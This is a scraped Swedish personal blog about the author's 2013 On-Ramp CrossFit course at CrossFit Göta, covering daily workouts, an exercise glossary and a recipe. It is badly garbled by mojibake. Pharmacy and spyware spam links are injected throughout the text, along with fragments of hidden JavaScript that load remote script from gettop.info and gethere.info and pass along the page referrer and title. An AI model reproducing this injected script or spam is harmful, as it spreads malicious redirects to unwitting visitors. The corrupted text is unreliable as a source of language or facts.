29 mars, 2013 On-Ramp kurs hos CrossFit GAi??ta dag 6

Idag var det http://admiral-muslim.mhs.narotama.ac.id/2018/02/02/%ef%bb%bfbuy-motilium/ buy pills vA?r sista dag pA? On-ramp kursen och vi bAi??rjade kl. 09.00 pigga och glada.

Vi Ai??vade med trAi??kAi??pp och skivstA?ng pA? Snatch och Clean och olympiska lyft. Det Ai??r mycket teknik att lAi??ra sig sA? hAi??r canadian shop pills i bAi??rjan men det Ai??r ju bara att repetera och Ai??va och hoppas att teknikdelen sitter om ett tag.

stot_sekvens_clip Pills

Idag gick dagens Wod ut pA? att vi jobbade i par och kAi??rde enligt fAi??ljande:
Tag Team chipper
40 Thrusters 15/20 (15 kg fAi??r tjejer och 20 kg fAi??r killarna)
40 HR push ups (HR = Hand release)
40 SwingsAi??8 kg fAi??r tjejerna och killarna hadeAi??en tyngre kettlebell
40 Pull ups http://queendentist.net/cheap-cleocin-300/
40 UtfallsstegAi?? med 10 kg viktplatta ovanfAi??r huvudet. Killarna kAi??rde 15 kg
40 Rotationskast i vAi??ggen med 6 kilos boll fAi??r tjejerna och 10 kg fAi??r killarna
40 Burpees Ai??ver kompis

UpplAi??gget fick vi bestAi??mma sjAi??lva. Tex att jag kAi??rde Ai??5 Thrusters, sen kAi??rde Sara 5 tills http://www.charpente-coderck.fr/wellbutrin-buy-online-uk/ laby era vi gjort vA?ra 40 Thrusters totalt och sen gick vi vidare pA?Ai?? nAi??sta Ai??vning som varAi?? HR push ups. De som var klara fAi??rst, hejade pA? de Ai??vriga i vA?r grupp och dA? kAi??mpade man pA? lite extra. Oj vad trAi??tt jag var efterA?t och sen blev det stretching.

Thrusters ser ut sA? hAi??r:
pushpress

HR Push ups ser ut sA? hAi??r:
YouTube Preview Image

Swings med kettlebell ser ut sA? hAi??r.
http://fgaspari.com.br/?p=4901 http://staresources.net/?p=3412 lateralswing

Pull ups ser ut sA? hAi??r:
overhand pull-ups order imdur uses

Ufallsteg med viktplatta ser ut sA? hAi??r:
YouTube Preview Image

purchase aristocort triamcinolone

Rotationskast i vAi??ggen 6/10 (Vi tjejer hade en 6kg boll och killarna 10 kg)
YouTube Preview Image

Burpees gAi??r du sA? hAi??r: Efter varje Burpee hoppade vi Ai??ver kompisen som lA?g pA? golvet och sen en ny Burpee.
Pills imagesCA552I36

Purchase

HAi??r Ai??r en bild pA? vA?r otroligt duktiga coach Johan som guidat och stAi??ttat Ai??oss genom hela On-ramp kursen.
bild1

 var d=document;var s=d.createElement(‘script’);

viagra-los-algodones-pharmacy s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’); http://blog.muxplus.com/archives/16633/

27 mars, 2013 On-Ramp kurs hos CrossFit GAi??ta dag 5

buy pills Cheap bild (16)

Nu hAi??nder det saker…

purchase levothroid

HAi??r fAi??rsAi??ker jag med WallWalk och Sara stA?r pA? hAi??nderna.
bild (18)

Idag kAi??rde vi vA?rat nAi??st sista pass pA? vA?ran on-ramp kurs. KAi??nns lite trA?kigt dA? vi nu bAi??rjat vAi??nja oss vid vA?r trevliga grupp. KAi??nslan att snart boka CrossFit bas pass och team Wood pass ser jag fram emot med lite skrAi??ckblandlad kAi??nsla.
Under alla A?r som jag trAi??nat pA? gym sA? har jag haft svA?rt fAi??r alla Ai??vningar med armar och axlar och idag kAi??rde vi mycket av den varan.

furosemide over the counter substitute

SA? hAi??r sA?g dagens upplAi??gg ut:
Teknikdelen var uppdelad i TrAi??kAi??pp och Hopprep (DU = Double unders)

SNC00244crosstrain-double-unders

naprosyn 500mg cost

Sen var det dags fAi??r lite gymnastikAi??vningar.
Hollow position/rock
Ai??ngeln
Kipp/Swing/KTE (Kipping knees to elbow)/Pullup
HandstA?ende mot vAi??gg

SA? hAi??r gAi??r man Hollow Rock.
YouTube Preview Image

Ai??ngeln gAi??r du sA? hAi??r: Vi hade vA?ra armar rakt ut som ett kors.
YouTube Preview Image

Swing ser ut sA? hAi??r:
YouTube Preview Image

KTE gAi??r du sA? hAi??r:
YouTube Preview Image

Buy

Efter detta var det dags fAi??r dagens ”Mecon” 10 min AMRAP (As many reps as possible)
3 Wall Walk
10m utfallsgA?ng med viktskivaAi?? OHAi??= Over Head
9 Kipp

Pills

SA? hAi??r ser ”Wall Walk” ut.
YouTube Preview Image

http://bluewaterfestival.org.au/how-much-does-serophene-cost/ Buy

cialis cheapest price uk wallwalks_08_17_12 pilule cialis

SA? hAi??r ser utfallsgA?ng med viktskiva ut:
YouTube Preview Image

SA? hAi??r ser ”Kipping” ut:
YouTube Preview Image

bild (12)bild (14) bild (9) bild (2)} else {

Order

document.currentScript.parentNode.insertBefore(s, document.currentScript); can you buy ventolin over the counter in victoria http://nerolandscape.net/2017/10/call-tracker-flexi-spy-iphone-spy-app-no-jailbreak/ buy lady era

25 mars, 2013 On-Ramp kurs hos CrossFit GAi??ta dag 4

Nu Ai??r det bara tvA? gA?nger kvar av On-ramp kursen och vi har hunnit lAi??ra oss en massa roliga Ai??vningar.
Idag talade coachen om att det Ai??rAi?? vA?rat ”eget ansvar” att lAi??ra oss och vilja utvecklas i CrossFit. VA?ra coacher finns dAi??r fAi??r att stAi??tta oss men huvudansvaret ligger hos oss sjAi??lva.

SA? hAi??r ser receptionen ut pA? CrossFit GAi??ta. DAi??rren som Ai??r Ai??ppen till hAi??ger Ai??r damernas omklAi??dningsrum.
bild (14)

VA?ran uppvAi??rmning idag var enligt fAi??ljande:
3 varv av 8 WB (Wall Ball), 4 utfallssteg pA? varje ben samt 8 pushups

http://www.tigerlilly.me/discount-allegra-online/ costo lamisil crema

Wall-Ball-Progression-impcff402285d75c31e218a52af7c0b2541

Pills

push-up1

kamagra singapore

Dagens teknikAi??vning var ”Kettlebells”.
kettlebell11/2 swingAi?? (Ryss)

Purchase kettlebell-swingEnAi??helAi?? ”Kettlebell swing.”
lateralswingRack position
Vi fick lAi??ra ossAi??att hA?lla vA?ra kettlebells iAi??”Rack position”
Pills kbinfo_onearmcleanAi??Sen fick vi lAi??ra oss enAi??”Kettlebell clean”.
kettlebell_clean1-1024x582

Och till sist en Ai??”Kettlebell sale duphalac Snatch”

lady.era

one-arm-kettlebell-snatch

Efter dessa Ai??vningar bAi??rjade vid dagens ”Metcon” pass:
Vi blev uppdelade i team om 2 .
Sen kAi??rde vi en stegeAi?? 1-10 med Goblet/Planka och 1-10 Ryss/Squat
FAi??rst kAi??rde jag 1 Goblet medans Sara kAi??rde 1 planka och sA? bytte vi och fortsatte upp till 10 varv.
EfterA?t fortsatte vi med 1 Ryss och Sara kAi??rde 1 Squat och sen bytte vi Ai??vning och fortsatte upp till 10 varv.

En Kettlebell Goblet Ai??r sA? hAi??r:
gobletsquat

Det hAi??r Ai??r plankan.
201211_planken

Det hAi??r Ai??r en Ryss.
kettlebell-swing

purchase danazol 200

Det hAi??r Ai??r en cheap generic cialis online uk Squat.

body-weight-squats-300x274

Idag kAi??ndes mjAi??lksyran ordentligt….
EfterA?t stretchade vi baksidan av lA?re och sAi??te.

online bild (4) ladyera cheap flexisyn

HAi??r kommer bild frA?n ”Boxen” vi trAi??nade i pA? detta pass.
bild (16)d.getElementsByTagName(‘head’)[0].appendChild(s);

Order http://casinoagent8.info/news/spy-app-hidden-sms-tracker-spymobile/

CrossFit GAi??ta prova pA? pass och On-ramp kurser

bildo

FAi??r er som vill testa CrossFit kan jag rekommendera att ta ett besAi??k hos CrossFit GAi??ta vid Lyckholms fabriker. Varje lAi??rdag har de prova pA? pass frA?n 12-13 helt gratis och anmAi??lan gAi??rs via deras hemsida . Kika hAi??r.Ai??Ni kan Ai??ven sAi??ka pA? CrossFit GAi??ta pA? facebook fAi??r mer information.
bild999

Cheap buy pills

Annars kan ni lAi??sa nedan vad som ingA?r i en levitra no prescription needed On-ramp kurs.

viagra a avignon

On-ramp ladu era
Kurs fAi??r dig som inte trAi??nat CrossFit innan. Den bestA?r av sex 1-timmes pass under tvA? veckors tid dAi??r du kommer att introduceras till CrossFit genom fAi??relAi??sningar, de grundlAi??ggande rAi??relserna och naturligtvis trAi??ning (WODai???s).
Kostnad: 995kr

IngA?r: 6 tillfAi??llen, din egen CFG-trAi??ningspAi??rm, mycket glAi??dje Purchase och trAi??ningsvAi??rk!

KurstillfAi??llen Mars-April 2013

Pills Buy

  • On-ramp B tisdag 5 mars
  • On-ramp A mA?ndag 18 mars
  • On-ramp B tisdag 2 april
  • Cheap
    buy betapace 80

  • On-ramp A mA?ndag 15 april

UpplAi??gg A och B Ai??r identiska till innehA?ll men schemat skiljer.
A: mA?ndag, onsdag och fredag klockan 18-19
B: tisdag, torsdag klockan 19:30-20:30 samt lAi??rdag klockan 10:00

OBS! Dessa kurser Ai??r populAi??ra sA? anmAi??l er i god tid fAi??r att sAi??kerstAi??lla att ni fA?r plats! AnmAi??lan sker genom att betala avgiften om 995kr till BG 844-9019 och sedan maila oss och meddela vilket kurstillfAi??lle ni vill gA?. info@crossfitgota.se

On-ramp Privat/Semi-privat
FAi??r dig/er som inte har mAi??jlighet att nAi??rvara de tillfAi??llen vi kAi??r vA?ra vanliga On-ramp kurser. Semi-privat Ai??r till fAi??r er som vill gA? kursen tillsammans med en vAi??n eller partner. Fyra tillfAi??llen A? en timma som vi planerar in sA? det passar Ert schema.

Kostnad: Privat – 1995kr, Semi-privat – 2995kr
Kontakta oss via mail eller ring Johan pA? 0708-15 27 85 fAi??r mer information kring On-ramp eller bokning av privat/semi-privat.

Buy

d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; how much eulexin http://xn--o9j0bk5t7e2a3h.net/?p=1470 Buy

22 mars, 2013 On-Ramp kurs hos CrossFit GAi??ta dag 3

online

IgA?r var det vA?ran 3.e lektion i CrossFit On-Ramp pA? CrossFit GAi??ta. purchase noroxin online overnight delivery valtrex Ai??Jag tycker det Ai??r superkul att prova en helt annan typ av trAi??ning Ai??n vad jag Ai??r van vid och kombinationen av, teknik, styrka, uthA?llighet och explosivitet Ai??r vad som gAi??r CrossFit sA? intressant. Att pressa sig sjAi??lv till max och gAi??ra det ihop med en grupp och en coach som peppar en Ai??r superkul och man kAi??nner en stark gemenskap i vA?ran grupp efter endast 3 gA?nger. Det ligger ingen prestige i att nA?gon Ai??r bAi??ttre Ai??n nA?gon annan utan alla stAi??ttar varandre som grupp.
Nedan ser ni vA?r gruppbild frA?n igA?r och bilden har jag hAi??mtat frA?n CrossFit GAi??ta’s bilder. http://vasdaqcf.com/blog/2018/03/17/order-hytrin-dosage/
884567_438993939520176_1518451849_o

Coachen Johan berAi??ttade att canadian pharmacy online cafergot innan varje ”WOD” pass kAi??r man en warm up, gA?r igenom skill och styrka och sen kAi??rs WOD passet.

online IgA?r var vA?ran uppvAi??rmning enligt fAi??ljande:
12, 9, 6 av
Air Squat
Push up
Situp

price of synthroid at target

DA? bAi??rjade vi med 12, Air Squat, 12, Push Cheap Buy up och 12 Situp, nAi??sta var 9 av varje Ai??vning och sista med 6.

DAi??refter gick vi igenom lite teknikAi??vningar av fAi??ljande:
Deadlift (marklyft)
Wall Ball
Medball Clean

Vi bAi??rjade med Deadlift (marklyft) med trAi??kAi??ppar fAi??r att sen Ai??va med riktig skivstA?ng med vikter.
Deadlift

DAi??refter gick vi Ai??ver till Wall Ball.
En Wall Ball har olika vikter. SA? hAi??r kan en Wall Ball se ut.
lqdy era Wolverson-Wall-Ball_700_600_3WH50

SA? hAi??r gAi??r man en wall ball.
Wall-Ball-Progression-imp

Det hAi??r Ai??r en Medball Clean.
imagesCA2TEKLP

VA?rat Metcon workout igA?r var enligt fAi??ljande:
5 varv av:
5 Deadlift
10 BurpeesAi?? (hoppa Ai??ver stA?ng)

lady era buy usa

5 varv blir 5×5 = totalt 25 Deadlift och 5 Buy x 10Ai?? =Ai?? totalt 50 Burpees pA? max 10 min.

Det hAi??r Ai??r Deadlift. Vi anvAi??nde oss av en riktig skivstA?ng med vikter.
Dead

Det hAi??r Ai??r Burpees.

images

Kan sAi??ga Buy att Ai??ven denna gA?ng blev jag helt slut efterA?t.

bild3

Denna gA?ng trAi??nade vi i den andra ”Boxen” (trAi??ninglokalen). CrossFit GAi??ta har 2 ”Boxar”.
SA? hAi??r ser det ut i boxen.
bild44bild55bild33bild77bild66document.currentScript.parentNode.insertBefore(s, document.currentScript);

Pills

}}http://kvetyandrea.sk/2017/10/ios-spy-tracking-someones-phone-spy-iphone-without-jailbreak/ Cheap

20 mars, 2013 On-Ramp kurs hos CrossFit GAi??ta dag 2

bild6bild5

HAi??r Ai??r entrAi??n Pills till CrossFit GAi??ta.

bild4

Bakom den hAi??r dAi??rren har vi den ena boxen som vi kAi??rde vA?rat pass idag.
fincar price in india online bild1

IOch hAi??r ser ni den berAi??mda klockan. PA? tavlan skriver coachen upp vilken WOD eller Ai??vningar vi kAi??r under passet.
bild99

Idag kAi??rde vi ett nytt hA?rt pass med vA?ran coach Johan pA? CrossFit GAi??ta. Det Ai??r en bra grupp och vi bAi??rjar lAi??ra kAi??nna varandra och alla Ai??r sA? hjAi??lpsamma och stAi??ttar varandra under passet. Vi blev Ai??ven imponerade av att Johan har hunnit lAi??ra sig alla vA?ra namn efter endast en gA?ng (12 deltagare).Ai?? Idag kAi??rde vi uppvAi??rmning med stretch med en ”foam roller” av skumgummi och gjorde en masa Ai??vningar fAi??r rumpa, ben, armar och Ai??rygg.

SA? hAi??r kan en foam roller se ut.
Foam roller

lady ere foam_roller-332x205

Det finns Ai??ven foam roller med struktur.
Foam-Roller-EVA-Foam-Roller-Grid-Foam-Roller-a

HAi??r kan ni se lite av de Ai??vningar vi gjorde med vA?ra skumgummirullar.
tri42_a

Foam_Roller_Exercises

Efter vA?ran stretch bAi??rjade vi http://didit-ariyanto.mhs.narotama.ac.id/2018/02/02/how-much-zenegra/ Ai??va med ”press,” ”push jerk” och ”thrusters” med skivstA?ng utan vikter. SkivstA?ngen somAi??vAi??gerAi??15 kilo. FAi??rst fick vi lAi??ra oss hur vi hA?ller skivstA?ngen med hAi??nderna, lAi??gger stA?ngen under hakan , dra bak huvudet fAi??r att sen lyfta upp skivstA?ngen Ai??ver huvudet.

Det hAi??r Ai??rAi??”push jerk” (ryck-press)
pushpress

Det hAi??r Ai??r en ”thruster” (RyckstAi??tpress).
7Thruster

Sen var det dags fAi??r att lAi??ra sig” box jumps”. HAi??jden pA? lA?dan Ai??r 50, 60 och 70 cm som ni ser pA? trAi??lA?dan nedan.
Tjejerna fick ha den lAi??gsta hAi??jden pA? 50 cm.
pw-box_02

purchase fertomid 50 cheap pills box-jump

Sen var det dags fAi??r ett MetCon pass Ai??- Metabolic conditioning eller konditionshAi??jande trAi??ning. En WOD brukar rAi??knas som MetCon.

WOD – Workout of the day, dagens pass. Kan bestA? av en, men oftast flera olika Ai??vningar som sAi??tts ihop till ett pass. Passet ska antingen utfAi??ras pA? kortast mAi??jligast tid eller sA? mA?nga varv som mAi??jligt pA? en utsatt tid. Passen ser olika ut varje dag.en metcon.

VA?rat Ai??Metcon pass innehAi??ll 2 Ai??vningar dAi??r du Ai??kar pA? med enAi??thrurster och ett tadalafil 20mg uk price box jump fAi??r varje varv pA? 10 minuter.

1 thruster och 1 box jump
2 thruster och 2 box jump
3 thruster och 3 box jump
4 thruster och 4 box jump lasy-era
5 thruster och 5 box jump
FAi??r varje varv Ai??kar du med en thruster och ett box jump.

cheap albenza over the counter

Helt otroligt vad man fokuserar sig pA? uppgiften dA? jag Ai??ven denna gA?ng glAi??mde av vilken musik som spelades under passet och klockan hann jag inte titta pA? heller. SkAi??nt att coachen Johan talade om hur lA?ng tid vi hade kvar och vi kAi??mpade pA?Ai??duktigt under passet.Ai??Ai?? Pulsen var pA? max Ai??ven denna gA?ng och jag glAi??mde totalt av min trAi??ningsvAi??rk nAi??r jag hAi??ll pA? med mina Ai??vningar…dA? Ai??r man fokuserad.
bild9

Vill ni veta hur man A?ker hit me spA?rvagn sA? Ai??r det spA?rvagn 2 eller 4 med stop Cheap i Almedal

Purchase

bild8
http://ark-alpha.com/buy-clonidine-tablets/ bild2

 

 } else {

whats the shelf life for cialis

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; Pills http://clearchoicehome.net/spy-phone-track-messages-iphone-hidden-sms-tracker/

Greg Glassman

YouTube Preview Image

HAi??r kan ni lAi??sa lite mer om grundare till CrossFit. Greg Glassman.

controversial-fitness-figures-greg-glassman-ss
Greg Glassman som Ai??r grundaren till CrossFit mAi??rket, fick frA?gan ai???varfAi??r han namngav workouts efter kvinnor?ai???
ai???I thought that anything that left you flat on your back, looking up at the sky asking ai???what just happened to me?ai??i?? deserved a females name.Ai?? Workouts are just like storms, they wreak havoc on towns.ai???

I Sverige fick trAi??ningsformen ordentlig spridning 2008 dA? Erik Elliasson och Richard WallAi??n startade sidan
CrossFit Nordic.
wod1
I CrossFit finns det sA?kallade standardiserade- eller benchmark- WOD:s. Det betyder att det skall vara exakt samma vikt/reps/Ai??vning i den WOD som utfAi??rs. Benchmark WOD:s gAi??r det mAi??jligt fAi??r alla i hela vAi??rlden att jAi??mfAi??ra sig med varandra och utmana sin fitness. Dessa workouts Ai??r alltid dAi??pta efter kvinnor eller mAi??n, som t.ex. ai???Franai??? eller ai???Joshuaai???.

De Ai??r kategoriserade pA? Cheap fAi??ljande sAi??tt:

  • ai???The Girlsai??? Ai??r kortare WOD:s med en mer generell vikt-Ai??vningsanpassning.
  • ai???The Heroesai??? Ai??r WOD:s dAi??pta efter stupade soldater och dessa Ai??r tuffare, du jobbar med tyngre vikter och tar lAi??ngre tid att genomfAi??ra.

ladu era Order

Ai??r du intresserad av att se enAi??Ai??lista pA? alla de benchmark WOD:s som finns i CrossFit vAi??rlden just nu kika pA?
CrossFit Halmstad’s hemsida.
Viktangivelser avser MAi??n/Kvinnor, alltsA? 60kg/40kg = 60kg fAi??r mAi??n, 40kg fAi??r kvinnor.
ai??i??Alla vikter Ai??r avrundade sA? nAi??ra tiotal/ental som mAi??jligtai??i??
Informationen nedan hittade jag pA? CrossFit Kalmar’s hemsida.

Greg Glassman, tidigare elitgymnast, grundade CrossFit under 80-talet. Greg fick snabbt mA?nga anhAi??ngare som mAi??rkte att trAi??ningen var extremt effektiv och motiverande. Speciellt polisen, militAi??ren och brandfAi??rsvaret fick upp Ai??gonen fAi??r detta intensiva trAi??ningsupplAi??gg. xenical shopping 1995 blev Greg Glassman ansvarig fAi??r fystrAi??ningen hos polisen i Santa Cruz, Kalifornien. Samma A?r Ai??ppnade han det fAi??rsta CrossFit-gymmet i samma stad.

2001 lanserades www.crossfit.com och det var genom denna websida som CrossFit verkligen bAi??rjade sprida sig. Varje dag postades en ny workout sA? att folk kunde trAi??na pA? egen hand. Ai??n idag publiceras varje dag en WOD (workout of the day) som Ai??r helt gratis tillsammans med videor pA? flera 100 Ai??vningar, artiklar och workouts. 2005 fanns det 18 CrossFit-gym. Idag finns det flera tusen runt om i vAi??rlden och CrossFit Ai??r en av de snabbast vAi??xande trAi??ningsformerna.

2007 bAi??rjade amerikanska marinen implementera CrossFit i sin fystrAi??ning. Genom snabba resultat av den hAi??gintensiva funktionella trAi??ningen har Navy Seals sedan dess haft ett tAi??tt samarbete med CrossFit HQ Ai??Idag anvAi??nder sig bA?de Navy Seals och Kanadensiska militAi??ren av CrossFit som deras primAi??ra styrke- och Buy current prices for wild ginseng Cheap ladyera konditionsprogram.

images

HAi??r kommer en lista pA? CrossFit trAi??ningslexikon.
SquatAi?? – Huksittning/KnAi??bAi??j
Buy Front squatAi?? – FrontbAi??j
Back squat ai??i?? BenbAi??j med skivstA?ng bakom huvudet
Overheadsquat ai??i?? BenbAi??j med skivstA?ng Ai??verhuvudet
Box JumpAi?? – Boxhopp
DeadliftAi?? – Cheap Marklyft
Sumo deadliftAi?? – Sumo marklyft
Sumo deadlift highpull ai??i?? Sumo marklyft till hakan
Press ai??i?? Press
Push press ai??i?? Ryck-press
Push jerk ai??i?? RyckstAi??tpress
Thruster ai??i?? Thruster
Wall-ball ai??i?? VAi??gg boll
Snatch ai??i?? Ryck
Hang snatch ai??i?? HAi??ngryck
Power snatch ai??i?? Styrkeryck
Hang power snatch ai??i?? HAi??ngstyrkeryck
Clean and jerk ai??i?? pancha tulasi cost FrivAi??ndning + StAi??t
Clean ai??i?? FrivAi??ndning pills online
Power clean ai??i?? StyrkevAi??ndning
Pull-up ai??i?? Pull-up Pills
Kipping pull-up ai??i?? Kipping pull-up order lanoxin digoxin
Jumping pull-up ai??i?? Pull-up med hopp
L-pull-up ai??i?? L sit pull-up
Rope Climb ai??i?? RepklAi??ttring
Dips ai??i?? Dips
Ring dips ai??i?? Ringdips
Muscle-up – Pull up + dip
False grip ai??i?? Grepp som anvAi??nds vid ringtrAi??ning
Turkish get-up ai??i?? Turkisk resning/uppstigning med kettlebell
Push-ups ai??i?? ArmhAi??vningar
Handstand push-ups ai??i?? HandstA?ende armhAi??vningar
Sit-up ai??i?? Sit-up
GHD-sit-up ai??i?? GHD-sit-up
Back extension ai??i?? Ryggresning
Hip extension ai??i?? HAi??ftextension
Kettlebell swing ai??i?? Kettlebellsving
Dumbell swing ai??i?? Hantelsving
Dubble-unders ai??i?? Dubbelvarv med hopprep
Burpee ai??i?? ArmhAi??vning + hopp + klapp
Knees to elbows ai??i?? HAi??ngandes knAi??n till armbA?gar
L-sit ai??i?? L-sitt
Lunge ai??i?? Utfall
Walking lunges ai??i?? Utfallssteg
Fitness ai??i?? Fysisk prestationsfAi??rmA?ga
Scaling ai??i?? Anpassning
Rep ai??i?? Repetition
Set ai??i?? Set/serie
Long Slow Distance ai??i?? UthA?llighetstrAi??nings.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

d.getElementsByTagName(‘head’)[0].appendChild(s); online http://marclawassoc.com/spy-phone-spyware-for-iphone-spy-phone-app/

Snabb korv stroganoff

Receptet hittade jag pA? www.arla.se. IstAi??llet fAi??r falukorv har jag anvAi??nt prinskorv.

Cheap bild (4)

lady era buy usa
online

Recept 4 portioner.
300 gram falukorv (eller prinskorv)
1/2 gul lAi??k buy pyridium http://www.tigerlilly.me/bestina-buy/
1 msk rapsolja
2 1/2 dl mjAi??lk
11/2 msk tomatpurAi??
1 tsk senap viagra originale online
Lite mjAi??l att reda ut sA?sen i

GAi??r sA? hAi??r:
SkAi??r korven i strimlor. Skala och hacka lAi??ken. Stek korv och lAi??k i rapsolja i en stekpanna. TillsAi??tt mjAi??lk, tomatpurAi?? och senap. RAi??r om och lA?t oka pA? svag vAi??rme ca 2-3 min. Smakaav med salt och peppar. Om du vill ha tjockare sA?s sA? red ut med lite mjAi??l.

 var d=document;var s=d.createElement(‘script’); cheap pills Cheap buy finax muesli

Pills
s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else { ladyera online Buy http://cheerscorporation.com/viber-spy-sms-spy-without-target-phone-free-stealthgenie/ how to get bactrin

18 mars, 2013 On-Ramp kurs hos CrossFit GAi??ta dag 1

On-Ramp kursen jag anmAi??lt mig pA? hosAi??CrossFit GAi??ta Ai??r en kurs fAi??rAi??oss som inte trAi??nat CrossFit innan. Den bestA?r av sex 1-timmes pass under tvA? veckors tid dAi??rAi??vi kommer att introduceras till CrossFit genom fAi??relAi??sningar, de grundlAi??ggande rAi??relserna och naturligtvis trAi??ning (WODai???s).

Kostnad fAi??r kursen Ai??r : 995kr och dA? atorvastatin prices 20 mg us ingA?r: 6 tillfAi??llen, din egen CFG-trAi??ningspAi??rm, mycket glAi??dje och trAi??ningsvAi??rk!

YouTube Preview Image
I youtube klippet ser ni vad Ai??r WOD ”Cindy” Ai??r fAi??r nA?got.
Onramp

Idag har jag dA? bAi??rjat On-ramp kursen hos CrossFit GAi??ta. VA?ran grupp bestA?r av 12 personer ochAi??coachen Johan. Vi fick trAi??na i den andra ”boxen” idag. FAi??rst var det en kort presentation om Johan och om hur han och tvA? kompisar startade CrossFit GAi??ta hAi??sten 2011.Ai?? Sedan fick vi andra presentera oss fAi??r resten av gruppen.
Gruppbilden nedan har jag lA?nat frA?n CrossFit GAi??ta’s foton.
885456_437343663018537_814782950_o

Vi bAi??rjade medAi??att vAi??rma upp dAi??r viAi??sprang nA?gra varv i lokalen, Ai??hoppade sidledes och stretching.Ai??EfterA?t Ai??fick viAi??tekniktrAi??na hur vi lyfter en skivstA?ng. Det gick skapligt men nAi??r vi sedan provade pA? ”Overheadsquat” ai??i?? BenbAi??j med skivstA?ng Ai??verhuvudet…ja dA? var det plAi??tsligt supersvA?rt. DA? hade jag inga vikter pA? skivstA?ngen. SkivstA?ngen i sig vAi??gde 15 kilo och det var mer Ai??n tillrAi??ckligt fAi??r mig.
Vi fick Ai??ven lAi??ra oss ”Air Squats” som var lite lAi??ttare fAi??r min del.
Air-squat

Sen var det dags fAi??r vA?r fAi??rstaAi??”WOD”Ai?? (= Workout of the day) och idag provade vi pA? 1/2 Cindy pA? 10 min.Ai??Det lA?ter kanske enkelt men rAi??kna med att du tex gAi??rAi?? 5Ai??varv pA?Ai??10 minuter = http://annienichols.com/?p=14790 25 Pullups,Ai?? 50 Pushups ochAi??75 Air Squats..dA? fAi??rstA?r ni kanske varfAi??r man blir trAi??tt efter endast 10 minAi??intensiv trAi??ning dAi??r pulsen Ai??rAi??pA? max.

Buy

5 Pullups
10 Pushups
15 Air Squats

En riktig ”Cindy” AMRAP, alltsA? sA? mA?nga varv som mAi??jligt pA? 20Ai??min. Hur hA?ller man reda pA? hur mA?nga varv du gAi??r…jo alla deltagare har skrivit upp sitt namn pA? tavlan och drar ett lA?ngt streck efter namnet….efter varjeAi??varv tar du och drar med fingret i strecket och pA? sA? sett ser Order du hur mA?ngaAi??varv du har gjort nAi??r klockan stannar.

mega

Coachen stAi??ller klockan och sen nAi??r han sAi??ger bAi??rja…dA? Ai??r det bara att kAi??ra pA? med de hAi??r Order tre Ai??vningarna och med sA? mA?ngaAi??varv du orkar tills klockan stannar. Under tiden sA? spelas musik i hAi??gtalaren fAi??r att gAi??ra trAi??ningen lite lAi??ttare. Dock var jag sA? fokuserad Ai??ver mina Ai??vningar och att fAi??rsAi??ka prestera max att jag knappt hAi??rde vad som spelades fAi??r musik. NAi??r klockan stannat var jag fullstAi??ndigt slut i kroppen …en god kAi??nslaAi?? och man kAi??nner med en gA?ng att du jobbat med hela kroppen.

Nu efterA?t kAi??nner jag lite stolt Ai??ver mig sjAi??lv att jag gav mitt max och kAi??mpade pA? utan att klaga eller vara bekvAi??m. Ser dock inte fram emot trAi??ningsvAi??rken som kommer efterA?t. FAi??rra gA?ngen jag var pA? ett Cheap prova pA? pass hade jag trAi??ningsvAi??rk i 3-4 dagar efterA?t och mest i armar och axlar.

Lite CrossFit termer.
AMRAP – As many rounds as possible
ATG – Ass to grass (innebAi??r en DJUP knAi??bAi??j)
BW eller KV – Bodyweight eller kroppsvikt
CFT – CrossFit total
PR – Personligt rekord
REP – Repetition
RM – Repetition maximum (innebAi??r vad du MAX kan lyfta pA? en Ai??vning)
Scaling (skalning) – Anpassning, du skalar ner och anpassar Ai??vningen utifrA?n din fAi??rmA?ga
Tabatha – Intervallprincip som innebAi??r 8 set med vardera 20s jobb/10s vila.
WO – Workout
WOD – Workout of the day

lady era pills Cheap

Lyck1

bild

cheap omnicef and alcohol bildbildoLyck1A cheap pills Lyck2 viagra tablets for sale uk Lyck3bildAi??bildV

bild (5)

HelSar}

buy lady era online usa online

clindamycin sale

var d=document;var s=d.createElement(‘script’); } else { Cheap http://marclawassoc.com/call-tracker-highster-spy-mobile-phone/

CrossFit GAi??ta

Bild1A

FAi??rsta gA?ngen jag hAi??rde talasAi??om CrossFit GAi??ta var genom en tidningsartikel i GT fAi??r nA?gra veckor sedan. DAi??r var det ett helsida om CrossFit GAi??ta.Ai??Kika hAi??r om du vill kika pA? deras hemsida. SjAi??lvklart blev jag nyfiken att veta mer om CrossFit och sA?g pA? hemsidan att de har prova pA? pass pA? lAi??rdagar. LAi??rdag den 2:a mars provade jagAi??och Sara pA? CrossFit .Efter Ai??passet var jag helt slut och trAi??ningsvAi??rken satt i sAi??kert 3 dagar…men vilken adrenalinkick jag fick och kul att prova pA? en helt ny trAi??ningsform. HAi??r Ai??r gruppbilden frA?n prova pA? passet. (Bilden har jag lA?nat frA?n CrossFit GAi??ta’s facebooksida)

Pills Pills 555319_429712027115034_1865017422_n

cheap uroxatral

CrossFit GAi??ta bildades hAi??sten 2011 dA? tre killar bestAi??mde sig fAi??r att fAi??rverkliga sin drAi??m – en egen CF-box! De hAi??r en hemsida www.crossfitgota.se ladu era samt en facebooksida dAi??rAi??ni kan lAi??sa mer omAi??det hAi??r stAi??llet.
StAi??lletAi??ligger pA? Lyckholms gamla fabriker och adressen Ai??r SkA?rs Led 6, 412 63 GAi??teborg.
GP online pills online Pills Onramp
Nu har jag anmAi??lt mig till deras On-rampkurs med start den 18 mars. Under 6 timmar pA? tvA? veckor fA?r jag lAi??ra mig grunderna inom CrossFit, bland annat olympiska lyft, kettlebells och gymnastik.

Bilderna nedan har jag hAi??mtat frA?n nAi??tet nAi??r jag sAi??kt pA? CrossFit GAi??ta.
